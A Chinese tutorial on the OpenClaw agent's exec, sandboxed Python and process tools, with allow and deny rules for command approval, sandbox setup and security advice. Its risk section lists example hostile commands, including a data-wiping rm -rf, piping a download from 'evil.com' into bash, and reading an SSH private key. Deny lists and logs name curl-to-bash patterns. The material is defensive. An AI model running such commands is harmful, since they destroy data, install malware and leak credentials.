## 代码执行概述
OpenClaw 提供了多种代码执行工具，让智能体能够运行命令、执行脚本和管理进程。这些工具非常强大，但也需要谨慎使用——毕竟你是在让 AI 直接操作你的系统。
OpenClaw 的代码执行工具分为三类：
| 工具 | 用途 | 执行环境 | 风险级别 |
|------|------|----------|----------|
| `exec` | 运行 shell 命令 | 宿主机（或沙箱） | ⚠️ 高 |
| `code_execution` | 运行 Python 代码 | 隔离沙箱 | 🟢 低 |
| `process` | 管理后台进程 | 宿主机（或沙箱） | ⚠️ 中 |
## exec 工具
`exec` 是最直接的命令执行工具——它在宿主机上运行 shell 命令，就像你在终端里手动输入一样。
### 基本用法
智能体可以通过 `exec` 工具执行任意 shell 命令：
```bash
# 智能体可能执行的命令示例
ls -la /home/user/projects
cat package.json
npm install express
git status
python3 script.py
```
### exec 的执行流程
```
用户请求 → 智能体决定使用 exec → 构造命令 → 执行 → 返回结果
```
例如：
```
用户: 帮我看看当前目录有哪些文件
智能体: [调用 exec 工具] ls -la
输出:
total 48
drwxr-xr-x 5 user user 4096 Jan 15 10:00 .
-rw-r--r-- 1 user user 256 Jan 15 09:30 package.json
-rw-r--r-- 1 user user 1024 Jan 15 09:30 index.js
drwxr-xr-x 3 user user 4096 Jan 15 09:30 src
智能体: 当前目录有 package.json、index.js 和 src 目录。
```
### exec 的风险
`exec` 直接在宿主机上执行命令，这意味着：
- ✅ 可以做任何你在终端能做的事
- ❌ 也可以做任何你不想让它做的事
潜在风险：
- 删除文件：`rm -rf /important/data`
- 修改系统配置：`echo "malicious" >> /etc/hosts`
- 安装恶意软件：`curl evil.com/malware | bash`
- 泄露敏感信息：`cat ~/.ssh/id_rsa`
这就是为什么 OpenClaw 提供了**执行审批机制**——在命令执行前进行拦截和审核。
## code_execution 工具
`code_execution` 是一个安全的 Python 执行环境，专为数据分析和脚本运行设计。
### 与 exec 的核心区别
`code_execution` 运行在**隔离的沙箱环境**中，不直接访问宿主机文件系统：
```
exec: 用户请求 → 命令 → 宿主机 shell → 直接执行
code_execution: 用户请求 → Python 代码 → 沙箱容器 → 隔离执行
```
### 预装的 Python 库
`code_execution` 沙箱预装了常用的数据分析库：
| 库 | 用途 |
|-----|------|
| `pandas` | 数据处理和分析 |
| `numpy` | 数值计算 |
| `matplotlib` | 数据可视化 |
| `requests` | HTTP 请求 |
| `json` | JSON 处理 |
| `csv` | CSV 文件处理 |
### 使用场景
**数据分析**
```
用户: 帮我分析这份 CSV 数据，找出销售额最高的产品
智能体: [调用 code_execution]
```
```python
import pandas as pd
df = pd.read_csv('/data/sales.csv')
top_products = df.groupby('product')['revenue'].sum().sort_values(ascending=False).head(10)
print(top_products)
```
**生成图表**
```python
import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(0, 10, 100)
y = np.sin(x)
plt.figure(figsize=(10, 6))
plt.plot(x, y)
plt.title('Sine Wave')
plt.savefig('/output/chart.png')
```
**数据转换**
```python
import json
data = json.loads(input_text)
result = [{"name": item["name"], "value": item["count"] * 2} for item in data]
print(json.dumps(result, indent=2, ensure_ascii=False))
```
### code_execution 的限制
- 只能运行 Python 代码（不支持其他语言）
- 无法访问宿主机文件系统（除非配置了挂载）
- 无法安装额外的 pip 包（除非通过 setupCommand 预装）
- 网络访问可能受限（取决于沙箱配置）
## process 工具
`process` 工具用于管理后台进程——启动、停止和监控长时间运行的任务。
### 基本操作
**启动后台进程**
```
用户: 帮我启动一个开发服务器
智能体: [调用 process 工具 - start]
命令: npm run dev
进程 ID: proc_abc123
状态: running
```
**查看进程状态**
```
用户: 开发服务器还在运行吗？
智能体: [调用 process 工具 - status]
进程 proc_abc123: running (PID: 12345, 运行时间: 2h 15m)
```
**停止进程**
```
用户: 停掉开发服务器
智能体: [调用 process 工具 - stop]
进程 proc_abc123 已停止
```
### 适用场景
- 启动开发服务器（`npm run dev`、`python -m http.server`）
- 运行构建任务（`npm run build --watch`）
- 启动数据库服务（`docker-compose up -d`）
- 运行长时间的数据处理脚本
### 与 exec 的区别
| 特性 | exec | process |
|------|------|---------|
| 执行方式 | 同步，等待完成 | 异步，后台运行 |
| 适用命令 | 短命令（ls、cat、git） | 长命令（服务器、监听器） |
| 输出获取 | 命令完成后返回全部输出 | 可以随时查看最新输出 |
| 生命周期 | 命令结束即完成 | 需要手动停止 |
## 执行审批机制（exec-approvals）
执行审批是 OpenClaw 的安全核心功能之一。它在命令执行前进行拦截，根据预定义的规则决定是否允许执行。
### 审批模式
OpenClaw 支持两种审批模式：
#### allow 模式（白名单）
只允许执行白名单中的命令，其他命令全部拒绝：
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" },
{ "pattern": "git status" },
{ "pattern": "git log *" },
{ "pattern": "npm run *" },
{ "pattern": "node *" }
]
}
}
```
这个配置的效果：
- ✅ `ls -la` — 匹配 `ls *`，允许
- ✅ `cat package.json` — 匹配 `cat *`，允许
- ✅ `git status` — 精确匹配，允许
- ✅ `npm run build` — 匹配 `npm run *`，允许
- ❌ `rm -rf /` — 不在白名单中，拒绝
- ❌ `curl evil.com` — 不在白名单中，拒绝
#### deny 模式（黑名单）
允许执行所有命令，除了黑名单中的：
```json
{
"exec-approvals": {
"mode": "deny",
"rules": [
{ "pattern": "rm -rf *" },
{ "pattern": "sudo *" },
{ "pattern": "chmod 777 *" },
{ "pattern": "curl * | bash" },
{ "pattern": "wget * | sh" }
]
}
}
```
### 推荐配置：安全的只读命令白名单
对于大多数用户，推荐使用 allow 模式，只允许安全的只读命令：
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *", "description": "列出文件" },
{ "pattern": "cat *", "description": "查看文件内容" },
{ "pattern": "head *", "description": "查看文件开头" },
{ "pattern": "tail *", "description": "查看文件末尾" },
{ "pattern": "wc *", "description": "统计行数/字数" },
{ "pattern": "find *", "description": "查找文件" },
{ "pattern": "grep *", "description": "搜索文本" },
{ "pattern": "git status", "description": "Git 状态" },
{ "pattern": "git log *", "description": "Git 日志" },
{ "pattern": "git diff *", "description": "Git 差异" },
{ "pattern": "pwd", "description": "当前目录" },
{ "pattern": "whoami", "description": "当前用户" },
{ "pattern": "date", "description": "当前时间" },
{ "pattern": "df -h", "description": "磁盘使用" },
{ "pattern": "free -h", "description": "内存使用" }
]
}
}
```
### 开发者配置：允许开发相关命令
如果你需要智能体帮你写代码和运行项目：
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" },
{ "pattern": "head *" },
{ "pattern": "tail *" },
{ "pattern": "grep *" },
{ "pattern": "find *" },
{ "pattern": "git *" },
{ "pattern": "npm *" },
{ "pattern": "npx *" },
{ "pattern": "node *" },
{ "pattern": "python3 *" },
{ "pattern": "pip3 install *" },
{ "pattern": "mkdir *" },
{ "pattern": "touch *" },
{ "pattern": "cp *" },
{ "pattern": "mv *" }
]
}
}
```
⚠️ 注意：允许 `git *` 和 `npm *` 意味着智能体可以执行 `git push`、`npm publish` 等操作。根据你的需求调整。
### 审批日志
所有被审批拦截的命令都会记录在日志中：
```bash
# 查看审批日志
openclaw logs --filter exec-approval
# 输出示例：
# [ALLOW] ls -la /home/user/projects
# [DENY] rm -rf /tmp/cache
# [ALLOW] git status
# [DENY] curl http://unknown-site.com/script.sh | bash
```
## exec vs code_execution 对比
| 特性 | exec | code_execution |
|------|------|----------------|
| 执行环境 | 宿主机 shell | 隔离沙箱 |
| 支持语言 | 任意 shell 命令 | 仅 Python |
| 文件访问 | 宿主机文件系统 | 沙箱文件系统 |
| 网络访问 | 完全访问 | 可能受限 |
| 安全风险 | ⚠️ 高（需要审批机制） | 🟢 低（天然隔离） |
| 适用场景 | 系统管理、项目操作 | 数据分析、脚本计算 |
| 预装工具 | 系统自带的所有工具 | pandas/numpy/matplotlib |
| 审批机制 | 支持（exec-approvals） | 不需要（已隔离） |
### 选择建议
**用 exec 的场景：**
- 需要操作宿主机文件（读写项目代码）
- 需要运行非 Python 命令（git、npm、docker）
- 需要访问系统工具（curl、wget、ssh）
- 需要管理服务和进程
**用 code_execution 的场景：**
- 数据分析和处理（CSV、JSON、Excel）
- 数学计算和统计
- 生成图表和可视化
- 运行不受信任的代码片段
- 不需要访问宿主机文件
## 安全最佳实践
### 1. 最小权限原则
只授予智能体完成任务所需的最小权限：
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" }
]
}
}
```
不要因为"方便"就开放所有权限。
### 2. 优先使用 code_execution
如果任务可以用 Python 完成，优先使用 `code_execution` 而不是 `exec`：
```
❌ exec: python3 -c "import pandas; df = pandas.read_csv('data.csv'); print(df.describe())"
✅ code_execution: 直接在沙箱中运行 Python 代码
```
### 3. 配合沙箱使用
对于必须使用 `exec` 的场景，开启沙箱隔离：
```json
{
"sandbox": {
"mode": "all"
},
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "*" }
]
}
}
```
即使允许所有命令，沙箱也能限制影响范围。
### 4. 定期审查审批日志
```bash
# 查看最近被拒绝的命令
openclaw logs --filter exec-approval --level deny
# 如果发现合理的命令被拒绝，可以添加到白名单
```
### 5. 敏感文件保护
即使开启了 exec，也要保护敏感文件：
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "cat *", "exclude": ["*.pem", "*.key", ".env", "*password*"] }
]
}
}
```
### 6. 生产环境必须配置审批
在生产环境中，永远不要让智能体无限制地执行命令：
```json
{
"sandbox": {
"mode": "all"
},
"exec-approvals": {
"mode": "allow",
"rules": []
}
}
```
空的 allow 规则 = 禁止所有 exec 命令。配合沙箱使用，这是最安全的配置。
## 常见问题
### exec 命令超时怎么办？
默认情况下，exec 命令有超时限制。如果命令需要较长时间，考虑使用 `process` 工具在后台运行：
```
用户: 帮我运行这个数据处理脚本，可能需要 10 分钟
智能体: 这个脚本运行时间较长，我用后台进程来执行。
[调用 process 工具 - start] python3 process_data.py
```
### code_execution 中如何使用自定义库？
通过沙箱的 `setupCommand` 预装：
```json
{
"sandbox": {
"setupCommand": "pip3 install scikit-learn seaborn openpyxl"
}
}
```
### 如何查看 exec 的完整输出？
如果命令输出很长，智能体可能会截断。你可以要求智能体将输出保存到文件：
```
用户: 运行 npm test 并把完整输出保存到 test-output.txt
```
## 小结
OpenClaw 的代码执行工具体系：
- `exec` 直接在宿主机运行 shell 命令，功能强大但风险高
- `code_execution` 在隔离沙箱中运行 Python，安全但功能受限
- `process` 管理后台长时间运行的进程
- 执行审批机制（exec-approvals）是安全的核心防线
- allow 模式（白名单）比 deny 模式（黑名单）更安全
- 最佳实践：最小权限 + 沙箱隔离 + 审批机制三重保护
代码执行是 OpenClaw 最强大也最危险的能力。合理配置审批机制和沙箱，才能在效率和安全之间找到平衡。
#代码执行 #exec工具 #命令审批 #安全执行 #龙虾技能库